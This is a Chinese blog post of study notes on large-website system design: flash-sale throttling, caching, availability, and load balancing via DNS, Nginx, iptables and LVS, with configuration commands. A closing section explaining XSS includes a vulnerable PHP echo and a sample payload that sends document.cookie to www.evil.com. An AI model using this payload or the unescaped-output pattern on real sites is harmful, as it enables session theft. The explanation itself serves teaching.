woojean的博客 模仿、熟练、超越

编程问题总结-System Design

2017-04-05

秒杀系统性能优化思路

将请求尽量拦截在系统上游,并且充分利用缓存。由上游至低层优化如下:

  • 1.前端(浏览器、APP) 控制实际往后端发送请求的数量,如用户点击“查询”后,将按钮置灰,禁止用户在短时间内重复提交。

  • 2.站点层(访问后端数据,拼写html返回) 对uid进行请求计数和去重,比如5秒内只准透过一个请求(可以使用redis设置过期时间实现)。缺点是当有多台机器时(此时相当于5s内限制n个访问),数据可能不准(脏读,但数据库层面真实数据是没问题的)。 假设有海量真实的对站点层的请求,可以通过增加机器来扩容,实在不行只能抛弃部分请求(返回稍后再试),原则是要保护系统,不能让所有用户都失败;

  • 3.服务层(提供数据访问) 对于读请求,使用缓存。 对于写请求,使用请求队列(队列成本很低),每次只透有限的写请求(如总票数)去数据层,如果均成功,再放下一批。可以不用统一一个队列,这样的话每个服务透过更少量的请求(总票数/服务个数),这样简单。统一一个队列又复杂了。对于失败的处理无需重放,返回用户查询失败或者下单失败,架构设计原则之一是fail fast。

  • 4.数据层(数据库、缓存) 经过以上步骤,到数据库层的请求已经有限。 此外还可以做一些业务规则上的优化,如:12306分时分段售票、数据粒度优化(如只展示有、无,而不是具体的数量)、业务逻辑异步(先创建订单,但是状态为未支付,如果超时仍未支付,则恢复库存)。

大型网站架构演化发展历程及优化思路

  • 1.初始阶段的网站架构:应用程序、数据库、文件等所有的资源都在一台服务器上。
  • 2.应用服务和数据服务分离:使用三台服务器:应用服务器、文件服务器和数据库服务器。这三台服务器对硬件资源的要求各不相同。
  • 3.使用缓存改善网站性能:缓存在应用服务器上的本地缓存或缓存在专门的分布式缓存服务器上的远程缓存。
  • 4.使用应用服务器集群改善网站的并发处理能力:对网站架构而言,只要能通过增加一台服务器的方式改善负载压力,就可以以同样的方式持续增加服务器不断改善系统性能,从而实现系统的可伸缩性。
  • 5.数据库读写分离;
  • 6.使用反向代理和CDN加速网站响应:基本原理都是缓存,区别在于CDN部署在网络提供商的机房,使用户在请求网站服务时,可以从距离自己最近的网络提供商机房获取数据;而反向代理则部署在网站的中心机房,当用户请求到达中心机房后,首先访问的服务器是反向代理服务器,如果反向代理服务器中缓存着用户请求的资源,就将其直接返回给用户。
  • 7.使用分布式文件系统和分布式数据库系统:分布式数据库是网站数据库拆分的最后手段,只有在单表数据规模非常庞大的时候才使用。不到不得已时,网站更常用的数据库拆分手段是业务分库。
  • 8.使用NoSQL和搜索引擎;(主要用于优化数据搜索)
  • 9.业务拆分:根据产品线划分,将一个网站拆分成许多不同的应用,每个应用独立部署维护。
  • 10.分布式服务:将共用的业务提取出来(比如用户模块),独立部署。由这些可复用的业务去连接数据库,提供共用业务服务,而应用系统只需要通过分布式服务调用共用业务服务完成具体业务操作。

网站架构其实并不难,真正能解决问题的技术一定是简单的。在网站还很小的时候就去追求网站的架构是舍本逐末,得不偿失的。小型网站最需要做的就是为用户提供好的服务来创造价值,得到用户的认可,活下去,野蛮生长。大型网站架构技术的核心价值不是从无到有搭建一个大型网站,而是能够伴随小型网站业务的逐步发展,慢慢地演化成一个大型网站。驱动大型网站技术发展的主要力量是网站的业务发展。 ——《大型网站技术架构》

常见大型网站架构模式

  • 1.分层:将系统在横向维度上切分成几个部分(为应用层、服务层、数据层),每个部分负责一部分相对比较单一的职责,然后通过上层对下层的依赖和调用组成一个完整的系统。 在开发过程中,严格遵循分层架构的约束,禁止跨层次的调用及逆向调用。
  • 2.分割:分割就是在纵向方面对软件进行切分。将不同的功能和服务分割开来,包装成高内聚低耦合的模块单元,一方面有助于软件的开发和维护;另一方面,便于不同模块的分布式部署,提高网站的并发处理能力和功能扩展能力。
  • 3.分布式:分层和分割的一个主要目的是为了切分后的模块便于分布式部署,即将不同模块部署在不同的服务器上,通过远程调用协同工作。常用的分布式方案有以下几种:分布式应用和服务、分布式静态资源、分布式数据和存储、分布式计算;
  • 4.集群:对于用户访问集中的模块(比如网站的首页),还需要将独立部署的服务器集群化,即多台服务器部署相同应用构成一个集群,通过负载均衡设备共同对外提供服务。可以提供更好的并发特性,扩展性和可用性。
  • 5.缓存:大型网站架构设计在很多方面都使用了缓存设计:CDN、反向代理、本地缓存、分布式缓存;
  • 6.异步:业务之间的消息传递不是同步调用,而是将一个业务操作分成多个阶段,每个阶段之间通过共享数据的方式异步执行进行协作。
  • 7.冗余:需要一定程度的服务器冗余运行,数据冗余备份,这样当某台服务器宕机时,可以将其上的服务和数据访问转移到其他机器上,从而提高可用性。
  • 8.自动化:目前大型网站的自动化架构设计主要集中在运维发布和监控方面。网站需要对线上生产环境进行自动化监控,对服务器进行心跳检测,并监控其各项性能指标和应用程序的关键数据指标。
  • 9.安全;

大型网站核心架构要素

  • 性能:从用户浏览器到数据库,影响用户请求的所有环节都可以进行性能优化。
  • 可用性:主要手段是冗余。
  • 伸缩性:伸缩性是指通过不断向集群中加入服务器的手段来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
  • 扩展性:,网站的扩展性架构直接关注网站的功能需求。网站快速发展,功能不断扩展,如何设计网站的架构使其能够快速响应需求变化,是网站可扩展架构主要的目的。
  • 安全性;

网站性能测试指标及性能优化方法

性能测试指标

  • 1.响应时间;
  • 2.并发数;
  • 3.吞吐量;在系统并发数由小逐渐增大的过程中,系统吞吐量先是逐渐增加,达到一个极限后,随着并发数的增加反而下降,达到系统崩溃点后,系统资源耗尽,吞吐量为零。
  • 4.性能计数器:描述服务器或操作系统性能的一些数据指标。包括Sys-tem Load、对象与线程数、内存使用、CPU使用、磁盘与网络I/O等指标。

性能测试方法

  • 1.性能测试:对系统不断施加压力,验证系统在资源可接受范围内,是否能达到性能预期。
  • 2.负载测试:对系统不断地增加并发请求以增加系统压力,直到系统的某项或多项性能指标达到安全临界值(而非上限值);
  • 3.压力测试:超过安全负载的情况下,对系统继续施加压力,直到系统崩溃或不能再处理任何请求,以此获得系统最大压力承受能力
  • 4.稳定性测试:被测试系统在特定硬件、软件、网络环境条件下,给系统加载一定业务压力,使系统运行一段较长时间,以此检测系统是否稳定。

Web前端性能优化

  • 1.浏览器访问优化:合并文件减少请求、使用浏览器缓存、启用压缩等等。
  • 2.CDN(Content Distribute Network,内容分发网络)加速的本质仍然是一个缓存,而且将数据缓存在离用户最近的地方,使用户以最快速度获取数据,即所谓网络访问第一跳。
  • 3.反向代理,略。

应用服务器性能优化

  • 1.分布式缓存;
  • 2.异步操作;消息队列具有很好的削峰作用——即通过异步处理,将短时间高并发产生的事务消息存储在消息队列中,从而削平高峰期的并发事务。
  • 3.使用集群;
  • 4.代码优化;

存储性能优化

  • 1.固态硬盘;
  • 2.B+树vs.LSM树;在LSM树上进行一次数据更新不需要磁盘访问,在内存即可完成,速度远快于B+树。当数据访问以写操作为主,而读操作则集中在最近写入的数据上时,使用LSM树可以极大程度地减少磁盘的访问次数,加快访问速度。
  • 3.RAID vs. HDFS;

网站可用性度量

业界通常用多少个9来衡量网站的可用性,如QQ的可用性是4个9,即QQ服务99.99%可用,这意味着QQ服务要保证其在所有运行时间中,只有0.01%的时间不可用,也就是一年中大约最多53分钟不可用。 高可用的网站架构的主要手段是数据和服务的冗余备份及失效转移。

集群环境下Session管理的几种手段

  • 1.Session复制:应用服务器开启Web容器的Session复制功能,在集群中的几台服务器之间同步Session对象,使得每台服务器上都保存所有用户的Session信息;(只能使用在集群规模比较小的情况下)
  • 2.Session绑定:负载均衡服务器总是将来源于同一IP的请求分发到同一台服务器上(也可以根据Cookie信息将同一个用户的请求总是分发到同一台服务器上),这种方法又被称作会话黏滞。该方案显然不符合系统高可用的需求。
  • 3.利用Cookie记录Session;
  • 4.Session服务器;

高可用的服务设计

  • 1.分级管理:运维上将服务器进行分级管理,核心应用和服务优先使用更好的硬件,在运维响应速度上也格外迅速。
  • 2.超时设置:在应用程序中设置服务调用的超时时间,一旦超时,通信框架就抛出异常,应用程序根据服务调度策略,可选择继续重试或将请求转移到提供相同服务的其他服务器上。
  • 3.异步调用;
  • 4.服务降级:在网站访问高峰期,服务可能因为大量的并发调用而性能下降,严重时可能会导致服务宕机。为了保证核心应用和功能的正常运行,需要对服务进行降级。降级有两种手段:拒绝服务及关闭服务。
  • 5.幂等性设计:服务重复调用是无法避免的,应用层也不需要关心服务是否真的失败,只要没有收到调用成功的响应,就可以认为调用失败,并重试服务调用。因此必须在服务层保证服务重复调用和调用一次产生的结果相同,即服务具有幂等性

高可用的数据设计及其局限性

为了保证数据的高可用,网站通常会牺牲另一个也很重要的指标:数据一致性。 CAP原理:一个提供数据服务的存储系统无法同时满足数据一致性(Consistency)、数据可用性(Availibility)、分区耐受性(Patition Tolerance,系统具有跨网络分区的伸缩性)这三个条件。 失效转移操作由三部分组成:失效确认、访问转移、数据恢复。

网站的伸缩性

所谓网站的伸缩性是指不需要改变网站的软硬件设计,仅仅通过改变部署的服务器数量就可以扩大或者缩小网站的服务处理能力。

实现负载均衡的基本技术

  1. HTTP重定向负载均衡:HTTP重定向服务器,根据用户的HTTP请求计算一台真实的Web服务器地址,并将该Web服务器地址写入HTTP重定向响应中(响应状态码302)返回给用户浏览器。
  2. DNS域名解析负载均衡:在DNS服务器中配置多个A记录。
  3. 反向代理负载均衡:需要配置双网卡和内部外部两套IP地址。由于反向代理服务器转发请求在HTTP协议层面,因此也叫应用层负载均衡。
  4. IP负载均衡:在网络层通过修改请求目标地址进行负载均衡。
  5. 数据链路层负载均衡:在通信协议的数据链路层修改mac地址进行负载均衡(又称作三角传输模式)。通过配置真实物理服务器集群所有机器虚拟IP和负载均衡服务器IP地址一致,从而达到不修改数据包的源地址和目的地址就可以进行数据分发的目的,由于实际处理请求的真实物理服务器IP和数据请求目的IP一致,不需要通过负载均衡服务器进行地址转换,可将响应数据包直接返回给用户浏览器,避免负载均衡服务器网卡带宽成为瓶颈。这种负载均衡方式又称作直接路由方式(DR)。

负载均衡算法

  • 1.轮询(Round Robin,RR);
  • 2.加权轮询(Weighted Round Robin,WRR);
  • 3.随机(Random);
  • 4.最少连接(Least Connections);
  • 5.源地址散列(Source Hashing);

分布式缓存的一致性Hash算法

和所有服务器都部署相同应用的应用服务器集群不同,分布式缓存服务器集群中不同服务器中缓存的数据各不相同,缓存访问请求不可以在缓存服务器集群中的任意一台处理,必须先找到缓存有需要数据的服务器,然后才能访问必须让新上线的缓存服务器对整个分布式缓存集群影响最小,也就是说新加入缓存服务器后应使整个缓存服务器集群中已经缓存的数据尽可能还被访问到,这是分布式缓存集群伸缩性设计的最主要目标。(路由算法至关重要) 一致性Hash算法通过一个叫作一致性Hash环的数据结构实现KEY到缓存服务器的Hash映射。具体算法过程为:先构造一个长度为0~2的整数环(这个环被称作一致性Hash环),根据节点名称的Hash值(其分布范围同样为0~232)将缓存服务器节点放置在这个Hash环上。然后根据需要缓存的数据的KEY值计算得到其Hash值(其分布范围也同样为0~232),然后在Hash环上顺时针查找距离这个KEY的Hash值最近的缓存服务器节点,完成KEY到服务器的Hash映射查找。当缓存服务器集群需要扩容的时候,只需要将新加入的节点名称(NODE3)的Hash值放入一致性Hash环中,由于KEY是顺时针查找距离其最近的节点,因此新加入的节点只影响整个环中的一小段。100台服务器扩容增加1台服务器,继续命中的概率是99%。虽然仍有小部分数据缓存在服务器中不能被读到,但是这个比例足够小,通过访问数据库获取也不会对数据库造成致命的负载压力。 具体应用中,这个长度为2的一致性Hash环通常使用二叉查找树实现,Hash查找过程实际上是在二叉查找树中查找不小于查找数的最小数值。当然这个二叉树的最右边叶子节点和最左边的叶子节点相连接,构成环。

大型网站分布式服务的需求与特点

  • 1.负载均衡;
  • 2.失效转移;
  • 3.高效的远程通信;
  • 4.整合异构系统;
  • 5.对应用最少侵入;
  • 6.版本管理;
  • 7.实时监控;

密钥安全管理

  • 1.把密钥和算法放在一个独立的服务器上,甚至做成一个专用的硬件设施,对外提供加密和解密服务,应用系统通过调用这个服务,实现数据的加解密。
  • 2.将加解密算法放在应用系统中,密钥则放在独立服务器中,为了提高密钥的安全性,实际存储时,密钥被切分成数片,加密后分别保存在不同存储介质中,兼顾密钥安全性的同时又改善了性能。

大型网站典型故障:写日志也会引发故障

现象:某应用服务器集群发布后不久就出现多台服务器相继报警,硬盘可用空间低于警戒值,并且很快有服务器宕机。登录到线上服务器,发现log文件夹里的文件迅速增加,不断消耗磁盘空间。 原因:开发人员将log输出的level全局配置为Debug。

大型网站典型故障:高并发访问数据库引发的故障

现象:数据库Load居高不下,远超过正常水平,持续报警。 原因:发现报警是因为某条SQL引起的,这条SQL是一条简单的有索引的数据查询,不应该引发报警。继续检查,发现这条SQL执行频率非常高,远远超过正常水平。追查这条SQL,发现被网站首页应用调用,首页是被访问最频繁的网页,这条SQL被首页调用,也就被频繁执行了。

大型网站典型故障:高并发情况下锁引发的故障

现象:某应用服务器不定时地因为响应超时而报警,但是很快又超时解除,恢复正常,如此反复,让运维人员非常苦恼。 原因:程序中某个单例对象(singleton object)中多处使用了synchronized(this),由于this对象只有一个,所有的并发请求都要排队获得这唯一的一把锁。一般情况下,都是一些简单操作,获得锁,迅速完成操作,释放锁,不会引起线程排队。但是某个需要远程调用的操作也被加了synchronized(this),这个操作只是偶尔会被执行,但是每次执行都需要较长的时间才能完成,这段时间锁被占用,所有的用户线程都要等待,响应超时,这个操作执行完后释放锁,其他线程迅速执行,超时解除。

大型网站典型故障:缓存引发的故障

现象:没有新应用发布,但是数据库服务器突然Load飙升,并很快失去响应。DBA将数据库访问切换到备机,Load也很快飙升,并失去响应。最终引发网站全部瘫痪。 原因:一个缺乏经验的工程师关闭了缓存服务器集群中全部的十几台Memcached服务器,导致了网站全部瘫痪的重大事故。

大型网站典型故障:应用启动不同步引发的故障

现象:某应用发布后,服务器立即崩溃。 原因:应用程序Web环境使用Apache.JBoss的模式,用户请求通过Apache转发JBoss。在发布时,Apache和JBoss同时启动,由于JBoss启动时需要加载很多应用并初始化,花费时间较长,结果JBoss还没有完全启动,Apache就已经启动完毕开始接收用户请求,大量请求阻塞在JBoss进程中,最终导致JBoss崩溃。除了这种Apache和JBoss启动不同步的情况,网站还有很多类似的场景,都需要后台服务准备好,前台应用才能启动,否则就会导致故障。这种情况被内部人戏称作“姑娘们还没穿好衣服,老鸨就开门迎客了”。

大型网站典型故障:大文件读写独占磁盘引发的故障

现象:某应用主要功能是管理用户图片,接到部分用户投诉,表示上传图片非常慢,原来只需要一两秒,现在需要几十秒,有时等半天结果浏览器显示服务器超时。 原因:图片需要使用存储,最有可能出错的地方是存储服务器。检查存储服务器,发现大部分文件只有几百KB,而有几个文件非常大,有数百兆,读写这些大文件一次需要几十秒,这段时间,磁盘基本被这个文件操作独占,导致其他用户的文件操作缓慢。

大型网站典型故障:滥用生产环境引发的故障

现象:监控发现某个时段内,某些应用突然变慢,内部网络访问延迟非常厉害。 原因:原来有工程师在线上生产环境进行性能压力测试,占用了大部分交换机带宽。

大型网站典型故障:不规范的流程引发的故障

现象:某应用发布后,数据库Load迅速飙升,超过报警值,回滚发布后报警消除。 原因:发现该应用发布后出现大量数据库读操作,而这些数据本来应该从分布式缓存读取。检查缓存,发现数据已经被缓存了。检查代码,发现访问缓存的那行代码被注释掉了。原来工程师在开发的时候,为了测试方便,特意注释掉读取缓存的代码,结果开发完成后忘记把注释去掉,直接提交到代码库被发布到线上环境。

大型网站典型故障:不好的编程习惯引发的故障

现象:某应用更新某功能后,有少量用户投诉无法正常访问该功能,一点击就显示出错信息。 原因:分析这些用户,都是第一次使用该功能,检查代码,发现程序根据历史使用记录构造一个对象,如果该对象为null,就会导致NullPointException。

带宽及其限制因素

数据发送的过程(数据从主机进入线路的过程):

  • 1.应用程序将要发送的数据写入进程的内存地址空间中;(运行时变量赋值)
  • 2.应用程序向内核发出系统调用,内核将数据从用户态内存复制到由内核维护的内核缓冲区中。(内核缓冲区的大小是有限的,所有要发送的数据以队列形式进入,这些数据可能来自于多个进程)
  • 3.内核通知网卡控制器前来取数据,同时CPU转而处理其他进程。网卡控制器根据网卡驱动信息得知对应的内核缓冲区的地址,并将要发送的数据复制到网卡的缓冲区中。在以上的数据复制过程中,数据始终按照连接两端设备的内部总线宽度来复制,比如在32位总线的主机系统中,网卡一般也使用32位总线宽度,那么从内核缓冲区到网卡缓冲区的数据复制过程中,任何时刻只能复制32位的比特信息。
  • 4.网卡将缓冲区中的数据按位转换成不同的光电信号,然后将数据的每个位按照顺序依次发出。

带宽指数据的发送速度。具体取决于以下两个因素:

  • 1.信号传输频率:即数据发送装置将二进制信号传送至线路的能力以及另一端的数据接收装置对二进制信号的接收能力,同时也包含线路对传输频率的支持程度。
  • 2.数据传播介质的并行度,完全等价于计算机系统总线宽度的概念。比如将若干条光纤并行组成光缆,这样就可以在同一个横截面上同时传输多个信号。 所以,要提高计算机总线的带宽,包括提高总线频率和总线宽度两种方法。

中继器的作用

网络通信相比于计算机内部的数据传输而言有一个很大的不同,其传输距离比较大,所以信号在传播介质中会衰减,为此需要借助中继器来延续信号,而每次中继器转发信号又会消耗一些发送时间。

共享带宽和独享带宽的区别

运营商会在所有的基础交换节点上设置关卡,即限制数据从用户主机流入路由器转发队列的速度。 如果某台主机使用了独享10M带宽,且路由器的出口带宽为100M,那么交换机的设置应该保证来自该广播域内的其他主机的数据发送速度总和不超过90Mbit/s,以此保证该主机任何时刻都可以以10Mbit/s的速度发送数据。即该主机独享路由器的一部分出口带宽。 如果是共享100M带宽,则交换机不保证主机的出口带宽能达到100M。

服务器响应时间理解

响应时间即数据从服务器开始发送直到完全到达用户PC的这段时间。

  • 响应时间 = 发送时间 + 传播时间 + 处理时间
  • 发送时间 = 数据量/带宽,当存在多个交换节点时,也应该包含每个节点的转发时间
  • 传播时间 = 传播距离/传播速度

处理时间指数据在交换节点中为存储转发而进行一些必要处理所花费的时间,主要是数据在缓冲区队列中排队所花费的时间。

  • 下载速度 = 数据量字节数/响应时间 在实际的互联网中,瓶颈也可能出现在各互联网运营商之间的网络互连上。

吞吐率与最大并发数

吞吐率指服务器单位时间内处理的请求数,是在一定并发用户数的情况下服务器处理请求能力的量化体现。 通常所讲的最大并发数是有一定的利益前提的,即服务器和用户双方所期待的最大收益的平衡。得出最大并发数的意义在于了解服务器的承载能力。 需要注意的是,所谓的最大并发数并非指和真实用户的一一对应关系,因为一个真实用户可能会给服务器带来多个并发用户数压力。 从Web服务器的角度来看,实际并发用户数也可以理解为Web服务器当前维护的、代表不同用户的文件描述符总数,Web服务器一般会限制同时服务的最多用户数,当实际并发用户数大于服务器所维护的文件描述符总数时,多出来的用户请求将在服务器内核的数据接收缓冲区中等待处理。

将站点的Cookies作用域设置为顶级域名存在的问题

通常不同的Web组件使用不同的域名、服务器: www.xxx.com img.xxx.com js.xxx.com 等。

对组件进行分离的好处:

  • 1.实现了服务器端的负载均衡;
  • 2.提高浏览器在下载Web组件时的并发数

需要注意的是,当使用站点的二级域名作为组件服务器地址,并且将站点的cookies作用域设置为顶级域名时,每次对图片、js文件等组件的请求都会带上本地的cookies,这将增加HTTP头信息的长度。一个常见的解决方案是为Web组件启用新的域名。

负载均衡实现:HTTP重定向

HTTP/1.1 302 Found
...
Location: http://xxx.com/xxxx

基于HTTP重定向的负载均衡实现比较简单,通过Web程序即可实现:

<?php
  $domains = [
    'www1.xxx.com',
    'www2.xxx.com',
    'www3.xxx.com',
  ];
  
  $index = substr(microtime(),5,3) % count($domains);
  $domain = $domains[$index];

  header("Location:http://$domain");

注意,这里采用随机方式,而没有采用轮询(RR,Round Robin)的方式,因为HTTP协议是无状态的,如果要实现轮询,需要额外的工作,比如维持一个互斥的计数变量(任何时候只有一个请求可以修改),对性能不利。

Apache的mod_rewrite模块可以支持RR重定向:

<VirtualHost *:80>
  DocumentRoot /data/www/highperfweb/htdocs
  ServerName www.xxx.com
  RewriteEngine on
  RewriteMap    lb prg:/data/www/lb.pl
  RewriteRule   ^/(.+)$ $(lb:$l)
</VirtualHost>

/data/www/lb.pl是一个脚本,实现了轮询均衡负载的逻辑。

顺序调度的性能总是比不上随机调度的性能,好处在于可以实现绝对的均衡。

注意,实际生产环境中次数的均衡不一定等于负载的均衡,比如不同用户的访问深度是不一样的。

负载均衡实现:DNS负载均衡

DNS完成域名到IP的映射,这种映射也可以是一对多的,这时DNS服务器便起到了负载均衡调度器的作用。 可以使用dig命令来查看指定域名DNS的A记录设置:

dig www.qq.com

可以看到有些域名可能有多个A记录设置,因而多次ping同一个域名IP可能变化。可以结合使用A记录和CNAME实现基于DNS服务器的,类似HTTP重定向的负载均衡:

www1.xxx.com IN A 10.0.1.1
www2.xxx.com IN A 10.0.1.2
www3.xxx.com IN A 10.0.1.3
www.xxx.com  IN CNAME www1.xxx.com
www.xxx.com  IN CNAME www2.xxx.com
www.xxx.com  IN CNAME www3.xxx.com

不用担心DNS服务器本身的性能,因为DNS记录可以被用户浏览器、互联网接入服务商的各级DNS服务器缓存。

负载均衡实现:反向代理负载均衡

因为Web反向代理服务器的核心工作就是转发(而不是转移)HTTP请求,工作在应用层,因此反向代理的负载均衡也称为七层负载均衡。主流的Web服务器都支持基于反向代理的负载均衡。

使用Nginx实现反向代理服务器:

upstream backend {
  server 10.0.1.200:80 weight=3;
  server 10.0.1.201:80 weight=1;
}

主流的反向代理服务器HAProxy,略。

接口人瓶颈:反向代理服务器进行转发操作本身是需要一定开销的,比如创建线程、与后端服务器建立TCP连接、接收后端服务器返回的处理结果、分析HTTP头信息、用户空间和内核空间的频繁切换等,当后端服务器处理请求的时间非常短时,转发的开销就显得很突出。 所以,工作在HTTP层面的反向代理服务器扩展能力的制约不仅取决于自身的并发处理能力,同时也取决于其转发开销是否上升为主要时间。(当后端服务器比较少,且处理数据的时间比较短时(比如静态文件),反向代理的转发开销上升为主要时间,极端情况下有可能造成整体的吞吐率不及单台后端服务器)

使用Varnish作为调度器来监控后端服务器的可用性,可脚本编程,判断HTTP状态等,略。

负载均衡实现:NAT负载均衡

NAT工作在传输层,可以对数据包中的IP地址和端口信息进行修改,也称四层负载均衡。 Linux内核中的Netfilter模块可以修改IP数据包,它在内核中维护着一些数据包过滤表,这些表包含了用于控制数据包过滤的规则。当网络数据包到达服务器的网卡并且进入某个进程的地址空间之前先要通过内核缓冲区,此时Netfilter便对数据包有着绝对的控制权,可以修改数据包、改变路由规则。 Netfilter位于内核中,Linux提供了命令行工具iptables来对Netfilter的过滤表进行操作。

使用iptables为Web服务器配置防火墙,只允许外部网络通过TCP与当前机器的80端口建立连接:

iptables -F INPUT
iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT
iptables -P INPUT DROP

使用iptables实现本机端口重定向,将所有从外网进入80端口的请求转移到8000端口:

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REJECT -- to-port 8000

使用iptables实现NAT,将外网网卡8001端口接收的所有请求转发给10.0.1.210这台服务器的8000端口:

echo 1 > /proc/sys/net/ipv4/ip_forward  # 打开调度器的数据包转发选项
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8001 -j DNAT -- to-destination 10.0.1.210:8000

注意,还需要同时将实际服务器的默认网关设置为NAT服务器(NAT服务器必须为实际服务器的网关):

route add default gw 10.0.1.50

负载均衡实现:IPVS

IP Virtual Server,类似于Netfilter,也工作于Linux内核中,但是更专注于实现IP负载均衡。不仅可以实现NAT的负载均衡,还可以实现直接路由、IP隧道等负载均衡。 Linux提供ipvsadm工具来管理IPVS,可以用来快速实现负载均衡系统,也称为LVS(Linux Virtual Server):

echo 1 > /proc/sys/net/ipv4/ip_forward  # 打开调度器的数据包转发选项
route add default gw 10.0.1.50  # 将实际服务器的默认网关设置为NAT服务器

ipvsadm -A -t 125.12.12.12:80 -s rr  # 添加一台虚拟服务器(负载均衡调度器)
ipvsadm -a -t 125.12.12.12:80 -r 10.0.1.210:8000 -m  # 实际服务器
ipvsadm -a -t 125.12.12.12:80 -r 10.0.1.211:8000 -m  # 实际服务器

LVS还提供一系列的动态调度策略,如LC(最小连接)、WLC(带权重的最小连接)、SED(最短期望时间延迟)等。

瓶颈:NAT负载均衡服务器的转发能力主要取决于NAT服务器的网络带宽,包括内部网络和外部网络。

负载均衡实现:直接路由负载均衡

直接路由负载均衡调度器工作在数据链路层(第二层),它通过修改数据包的目标MAC地址将数据包转发到实际服务器上,更重要的是实际服务器的响应数据包直接发送给客户端,而不经过调度器(基于IP别名实现)。实际服务器必须直接接入外部网络。

可以为一个网络接口(物理网卡eth0、eth1,或者回环接口)配置多个IP地址(IP别名),一个网络接口最多可以设置256个IP别名。(即一个网卡可以设置多个IP地址,且它们拥有相同的MAC地址)

ifconfig eth0:0 125.12.12.77

此时通过ifconfig可以看到eth0、eth0:0两个配置。在同网络的另一台机器上查看ARP表有以下记录:

Address        HWtype   HWaddress          Flags Mask        Iface
125.12.12.12   ether    00:19:B9:DF:B0:52  C                 eth0
125.12.12.77   ether    00:19:B9:DF:B0:52  C                 eth0

**给实际服务器添加和调度器IP地址相同的IP别名,当调度器收到数据包时,修改数据包的目标MAC地址(IP地址不变),将它转发给实际服务器。**

LVS-DR负载均衡系统网络结构: 服务器 外网IP 默认网关 IP别名 负载均衡调度器 125.12.12.12 125.12.12.1 125.12.12.77 实际服务器1 125.12.12.20 125.12.12.1 125.12.12.77 实际服务器2 125.12.12.21 125.12.12.1 125.12.12.77

将站点的域名指向125.12.12.77这个IP别名,同时将IP别名添加到回环接口lo上,并设置路由规则,让服务器不要去寻找其他拥有这个IP别名的服务器:

ifconfig lo:0 125.12.12.77 broadcast 125.12.12.77 netmark 255.255.255.255 up
route add -host 125.12.12.77 dev lo:0

此外还要防止实际服务器响应来自网络中针对IP别名的ARP广播:

echo "1" > /proc/sys/net/ipv4/conf/lo/arp_ignore
echo "2" > /proc/sys/net/ipv4/conf/lo/arp_announce
echo "1" > /proc/sys/net/ipv4/conf/all/arp_ignore
echo "2" > /proc/sys/net/ipv4/conf/all/arp_announce

在调度服务器上通过ipvsadm进行以下配置,设置通过直接路由的方式转发数据包:

ipvsadm -A -t 125.12.12.77:80 -s rr
ipvsadm -a -t 125.12.12.77:80 -r 125.12.12.20:80 -q
ipvsadm -a -t 125.12.12.77:80 -r 125.12.12.21:80 -q

LVS-DR相对于LVS-NAT的优势在于实际服务器的响应数据包可以不经过调度器而直接发往客户端,显然要发挥这种优势需要响应数据包的数量和长度远远大于请求数据包(事实上大多数Web服务的响应和请求并不对称)。 对于LVS-DR,一旦调度器失效,可以通过增加几条DNS记录的方式快速将LVS-DR切换到DNS-RR模式。

负载均衡实现:IP隧道

LVS-TUN与LVS-DR类似,主要区别在于实际服务器和调度器可以不在同一个WAN网段,调度器通过IP隧道技术来转发请求到实际服务器。即将调度器收到的IP数据包封装在一个新的IP数据包中,转交给实际服务器,然后实际服务器的响应数据包可以直接到达用户端。 前提条件是所有的服务器都必须支持IP Tunneling或者IP Encapsulation协议。

是选择LVS-TUN还是LVS-DR更多地不是因为性能和扩展性,而是取决于网络部署需要,比如CDN服务需要将实际服务器部署在不同的IDC,从而必须使用IP隧道技术。

粘滞会话

所谓粘滞会话就是通过调整调度策略,让同一用户在一次会话周期内的所有请求始终转发到一台特定的后端服务器上(毫无规律的转发会使服务器上的缓存利用率下降,此外当后端服务器启用Session来本地化保存用户数据时,如果用户的再次请求被转发到其他的机器,将导致Session数据无法访问)。对于Nginx,只需要在upstream中声明ip_hash即可:

upstream backend {
  ip_hash;
  server 10.0.1.200:80 weight=3;
  server 10.0.1.201:80 weight=1;
}

当然,也可以利用Cookies机制来设计持久性算法,比如将后端服务器的编号追加到用户的Cookies中。

粘滞会话破坏了均衡策略,应该使用分布式Session、分布式缓存。

分布式文件系统

分布式文件系统并不是传统意义上的文件系统,它工作在操作系统的用户空间由应用程序实现,这使得分布式文件系统可以不依赖于底层文件系统的具体实现,只要是POSIX兼容的文件系统即可。

分布式文件系统拥有自己独特的内容组织结构,便于对大规模存储和复制进行合理规划,例如Hadoop:

hadoop dfs -ls
hadoop dfs -mkdir html
hadoop dfs -put /data/www/htdocs/index.htm html/
...

MogileFS,基于perl实现,略。

分布式文件系统内部可能跨越多个服务器,并根据规则进行自动的文件复制。在分布式文件系统中,所有的文件都存储在被称为存储节点的地方,一个存储节点往往对应物理磁盘上的一个实际目录。追踪器负责存储节点之间的调度(负载均衡、故障转移、控制复制策略等),并响应用户的请求。

分布式文件系统的好处

  • 组建包含大量廉价服务器的海量存储系统;
  • 通过内部的冗余复制,保证文件的可用性;
  • 拥有非常好的可扩展性;
  • 可以通过扩展来保证性能;

跨站脚本攻击(XSS)

Cross Site Script,指通过HTML注入篡改了网页,插入恶意脚本,从而在用户浏览网页时执行攻击。(一开始这种攻击都是用来演示跨域攻击的,所以叫跨站脚本,到如今是否跨域已经不再重要)

例:

<?php
$input = $_GET["param"];
echo "<div>" . $input . "</div>";
?>

提交这样一个请求:

test.php?param=<script>alert(/xss/)</script>

XSS Payload XSS Payload实际上就是JavaScript脚本,所以任何JavaScript脚本能实现的功能XSS Payload都能做到。比如读取Cookies,从而发起Cookies劫持攻击(Cookies中可能有登录凭证); 例如攻击者先加载这样一个远程脚本: http://www.a.com/test.html?abc=”><script src=http://www.evil.com/evil.js></script>“,正在的Payload写在这个远程脚本中从而避免直接在URL参数中写入大量的Javascript代码。在evil.js中通过如下方式窃取Cookies:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

【test.html的内容没有,上面的例子不通顺,艹】

同样的,可以通过img的src标签来发起GET请求。对于POST请求,则可以通过JavaScript动态构造一个表单,然后自动提交这个表单来实现:

var f = document.createElement("form");
f.action = "...";
f.method = "post";
document.body.appendChild(f);

var il = document.createElement("input");
il.name = "ck";
il.value = "dd";
f.append(il);

f.submit();

详略(很多历史问题原理的讨论,现已修复)。

通过style标签也能构造出XSS:

